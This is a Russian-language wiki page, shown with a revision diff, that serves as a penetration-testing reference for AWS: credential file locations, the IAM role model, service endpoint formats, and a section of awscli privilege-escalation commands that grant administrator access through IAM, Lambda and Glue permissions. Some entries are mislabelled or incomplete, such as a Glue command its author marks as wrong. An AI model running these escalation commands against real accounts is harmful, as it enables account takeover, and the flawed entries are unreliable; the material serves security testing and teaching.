Aws — различия между версиями
Drakylar (обсуждение | вклад) м (→Опасные роли) |
Drakylar (обсуждение | вклад) м (→Службы) |
||
Строка 423: | Строка 423: | ||
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2 | aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
+ | |||
+ | ==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ==== | ||
+ | |||
+ | Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине. | ||
+ | |||
+ | |||
+ | |||
+ | == Lambda == | ||
+ | |||
+ | Сервис для запуска своего кода в облаке. | ||
+ | |||
+ | === Роли - повышение привилегий === | ||
+ | |||
+ | ==== lambda:UpdateFunctionCode ==== | ||
+ | |||
+ | Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == Glue == | ||
+ | |||
+ | Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений. | ||
+ | |||
+ | === Роли - повышение привилегий === | ||
+ | |||
+ | ==== glue:UpdateDevEndpoint ==== | ||
+ | |||
+ | Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | # TODO: это не обновление параметров, надо обновить команду | ||
+ | aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub | ||
+ | </syntaxhighlight> | ||
+ | |||
== S3 == | == S3 == | ||
Строка 458: | Строка 492: | ||
Позволяет менять IAM политики/роли/пользователей | Позволяет менять IAM политики/роли/пользователей | ||
+ | |||
+ | ==== ec2:CreateInstanceProfile + iam:PassRole ==== | ||
+ | |||
+ | См. IAM роли. | ||
+ | |||
+ | ==== ec2:AddRoleToInstanceProfile + iam:PassRole ==== | ||
+ | |||
+ | См. IAM роли. | ||
+ | |||
+ | ==== ec2:RunInstance + iam:PassRole ==== | ||
+ | |||
+ | См. IAM роли. | ||
+ | |||
== ES (ElasticSearch) == | == ES (ElasticSearch) == |
Версия 20:19, 19 марта 2022
AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.
Содержание
- 1 Организационные моменты
- 2 Общие концепции
- 3 Ролевая модель
- 4 Локальные файлы
- 5 Службы
- 5.1 IAM
- 5.1.1 Роли - повышение до админа
- 5.1.1.1 iam:AddUserToGroup
- 5.1.1.2 iam:PutUserPolicy
- 5.1.1.3 iam:CreateLoginProfile
- 5.1.1.4 iam:UpdateLoginProfile
- 5.1.1.5 iam:UpdateLoginProfile
- 5.1.1.6 iam:AttachGroupPolicy
- 5.1.1.7 iam:AttachRolePolicy
- 5.1.1.8 iam:CreatePolicy
- 5.1.1.9 iam:AddUserToGroup
- 5.1.1.10 iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion
- 5.1.1.11 iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile
- 5.1.1 Роли - повышение до админа
- 5.2 Lambda
- 5.3 Glue
- 5.4 S3
- 5.5 CloudFront
- 5.6 EC2 (Elastic Compute Cloud)
- 5.7 ES (ElasticSearch)
- 5.8 ELB (Elastic Load Balancing)
- 5.9 RDS (Relational Database Service)
- 5.10 Route 53
- 5.11 API Gateway
- 5.12 CloudSearch
- 5.13 Transfer Family
- 5.14 IoT (Internet Of Things)
- 5.15 MQ
- 5.16 MSK (Managed Streaming for Apache Kafka)
- 5.17 Cloud9
- 5.18 MediaStore
- 5.19 Kinesis Video Streams
- 5.20 Elemental MediaConvert
- 5.21 Elemental MediaPackage
- 5.1 IAM
- 6 Утилиты
- 7 Ссылки
Организационные моменты
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/
Общие концепции
Службы
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.
Это экосистема многих сервисов. И AWS стремится увеличить их количество.
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.
Регионы
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.
Название региона | Endpoint(HTTPS) |
us-east-2 | rds.us-east-2.amazonaws.com
rds-fips.us-east-2.api.aws rds.us-east-2.api.aws rds-fips.us-east-2.amazonaws.com |
us-east-1 | rds.us-east-1.amazonaws.com
rds-fips.us-east-1.api.aws rds-fips.us-east-1.amazonaws.com rds.us-east-1.api.aws |
us-west-1 | rds.us-west-1.amazonaws.com
rds.us-west-1.api.aws rds-fips.us-west-1.amazonaws.com rds-fips.us-west-1.api.aws |
us-west-2 | rds.us-west-2.amazonaws.com
rds-fips.us-west-2.amazonaws.com rds.us-west-2.api.aws rds-fips.us-west-2.api.aws |
af-south-1 | rds.af-south-1.amazonaws.com
rds.af-south-1.api.aws |
ap-east-1 | rds.ap-east-1.amazonaws.com
rds.ap-east-1.api.aws |
ap-southeast-3 | rds.ap-southeast-3.amazonaws.com |
ap-south-1 | rds.ap-south-1.amazonaws.com
rds.ap-south-1.api.aws |
ap-northeast-3 | rds.ap-northeast-3.amazonaws.com
rds.ap-northeast-3.api.aws |
ap-northeast-2 | rds.ap-northeast-2.amazonaws.com
rds.ap-northeast-2.api.aws |
ap-southeast-1 | rds.ap-southeast-1.amazonaws.com
rds.ap-southeast-1.api.aws |
ap-southeast-2 | rds.ap-southeast-2.amazonaws.com
rds.ap-southeast-2.api.aws |
ap-northeast-1 | rds.ap-northeast-1.amazonaws.com
rds.ap-northeast-1.api.aws |
ca-central-1 | rds.ca-central-1.amazonaws.com
rds.ca-central-1.api.aws rds-fips.ca-central-1.api.aws rds-fips.ca-central-1.amazonaws.com |
eu-central-1 | rds.eu-central-1.amazonaws.com
rds.eu-central-1.api.aws |
eu-west-1 | rds.eu-west-1.amazonaws.com
rds.eu-west-1.api.aws |
eu-west-2 | rds.eu-west-2.amazonaws.com
rds.eu-west-2.api.aws |
eu-south-1 | rds.eu-south-1.amazonaws.com
rds.eu-south-1.api.aws |
eu-west-3 | rds.eu-west-3.amazonaws.com
rds.eu-west-3.api.aws |
eu-north-1 | rds.eu-north-1.amazonaws.com
rds.eu-north-1.api.aws |
me-south-1 | rds.me-south-1.amazonaws.com
rds.me-south-1.api.aws |
sa-east-1 | rds.sa-east-1.amazonaws.com
rds.sa-east-1.api.aws |
us-gov-east-1 | rds.us-gov-east-1.amazonaws.com |
us-gov-west-1 | rds.us-gov-west-1.amazonaws.com |
Или только регионы (могут пригодиться при переборе):
us-east-2
us-east-1
us-west-1
us-west-2
af-south-1
ap-east-1
ap-southeast-3
ap-south-1
ap-northeast-3
ap-northeast-2
ap-southeast-1
ap-southeast-2
ap-northeast-1
ca-central-1
eu-central-1
eu-west-1
eu-west-2
eu-south-1
eu-west-3
eu-north-1
me-south-1
sa-east-1
us-gov-east-1
us-gov-west-1
Доступы
Ролевые политики
Консольная утилита(awscli)
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.
Утилита работает с настроенными профилями.
Файлы
~/.aws/credentials
Файл с учетными данными профилей. Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.
У каждого профиля будет указан:
- Access Key ID
- Access Key
- Access Token - не всегда указывается
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings
Пример содержимого файла (сохранен профиль default):
[default]
aws_access_key_id=AKIAIOSFODNN7EXAMPLE
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk
~/.aws/config
Файл с региональными настройками профиля(регион по-умолчанию).
[default]
region=us-west-2
output=json
~/.aws/cli/cache
Закешированные учетные данные
~/.aws/sso/cache
Закешированные данные Single-Sign-On
Команды
Общее построение команды выглядит как:
aws <название_сервиса> <действие> <дополнительные_аргументы>
Примеры:
# Вывести все S3-хранилища.
aws s3 ls
# Создание нового пользователя - сервис IAM
aws iam create-user --user-name aws-admin2
Ролевая модель
Почти все описание доступа идет через роли.
Каждая роль состоит из следующих компонентов:
- Ресурс - цель, кому выдается правило. Может быть:
- Пользователь
- Группа, в которой могут быть аккаунты по какому то признаку
- Другая роль.
- Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)
- Тип правила(Effect) - разрешение или запрет.
- Политика(Policy) - совокупность Роль(действие) -> разрешение/запрет -> Ресурс(кому).
- Условия(Condition) - отдельные условия, например, ip.
Пример политики:
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:GetGroup",
"iam:GetLoginProfile",
"iam:GetUser",
"iam:ListAccessKeys",
"iam:ListAccountAliases",
"iam:ListGroupPolicies",
"iam:ListGroups",
"iam:ListGroupsForUser",
"iam:ListMFADevices",
"iam:ListSigningCertificates",
"iam:ListUsers",
"iam:GetServerCertificate",
"iam:ListServerCertificates",
],
"Resource": "*"
}
]
Определение ролей
Вручную
TODO команды по определению своих ролей
Автоматизированно
Эксплуатация
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.
Административный доступ
Как выглядит роль с административным доступом:
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": "*"
}
]
Локальные файлы
Службы
IAM
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.
Роли - повышение до админа
iam:AddUserToGroup
Добавить юзера в административную группу:
aws iam add-user-to-group –group-name <название_группы> –user-name <логин>
iam:PutUserPolicy
Право добавить своб политику к ранее скомпрометированным обьектам.
aws iam put-user-policy –user-name <логин< –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json
iam:CreateLoginProfile
Привилегия для создания профиля(с паролем) для аккаунта, выставить новый пароль и перейти под этого пользователя.
aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
iam:UpdateLoginProfile
Сбросить пароль у других пользователей:
aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
iam:UpdateLoginProfile
Добавить существующую политику к любому пользователю.
aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:AttachGroupPolicy
Добавить существующую политику к любой группе.
aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:AttachRolePolicy
Добавить существующую политику к любой роли.
aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:CreatePolicy
Создать административную политику.
iam:AddUserToGroup
Добавить пользователя в группу администраторов:
aws iam add-user-to-group –group-name target_group –user-name my_username
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.
# Создание политики
aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default
# Установка политики по умолчанию.
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.
Lambda
Сервис для запуска своего кода в облаке.
Роли - повышение привилегий
lambda:UpdateFunctionCode
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:
aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip
Glue
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.
Роли - повышение привилегий
glue:UpdateDevEndpoint
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:
# TODO: это не обновление параметров, надо обновить команду
aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub
S3
Файловое хранилище.
Формат ссылки:
https://{user_provided}.s3.amazonaws.com
CloudFront
Сервис сети доставки контента (CDN).
Формат ссылки:
https://{random_id}.cloudfront.net
EC2 (Elastic Compute Cloud)
EC2 (Amazon Elastic Compute Cloud) == VPS
Формат ссылки:
ec2-{ip-seperated}.compute-1.amazonaws.com
Роли - повышение до админа
ec2:AssociateIamInstanceProfile
Позволяет менять IAM политики/роли/пользователей
ec2:CreateInstanceProfile + iam:PassRole
См. IAM роли.
ec2:AddRoleToInstanceProfile + iam:PassRole
См. IAM роли.
ec2:RunInstance + iam:PassRole
См. IAM роли.
ES (ElasticSearch)
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.
Формат ссылки:
https://{user_provided}-{random_id}.{region}.es.amazonaws.com
ELB (Elastic Load Balancing)
Балансировщик нагрузки.
Формат ссылки (elb_v1):
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
Формат ссылки (elb_v2):
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
RDS (Relational Database Service)
Облачная реляционная база данных (на выбор).
Формат ссылки:
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
Route 53
Настраиваемая служба DNS.
Формат ссылки:
{user_provided}
API Gateway
API-сервис, который будет доступен почти со всех серверов.
Формат ссылки:
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
CloudSearch
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.
Формат ссылки:
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com
Transfer Family
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).
Формат ссылки:
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com
IoT (Internet Of Things)
Сервис для управления IoT-устройствами.
Формат ссылки:
mqtt://{random_id}.iot.{region}.amazonaws.com:8883
https://{random_id}.iot.{region}.amazonaws.com:8443
https://{random_id}.iot.{region}.amazonaws.com:443
MQ
Сервис брокера сообщений для Apache ActiveMQ & RabbitMQ.
Формат ссылки:
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
MSK (Managed Streaming for Apache Kafka)
Сервис потоковой передачи данных в Apache Kafka.
Формат ссылки:
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
Cloud9
Облачная интегрированная среда разработки(IDE) используя только браузер.
Формат ссылки:
https://{random_id}.vfs.cloud9.{region}.amazonaws.com
MediaStore
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.
Формат ссылки:
https://{random_id}.data.mediastore.{region}.amazonaws.com
Kinesis Video Streams
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.
Формат ссылки:
https://{random_id}.kinesisvideo.{region}.amazonaws.com
Elemental MediaConvert
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.
Формат ссылки:
https://{random_id}.mediaconvert.{region}.amazonaws.com
Elemental MediaPackage
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.
Формат ссылки:
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
Утилиты
Ссылки
Статьи
Лаборатории
Damn Vulnerable Cloud Application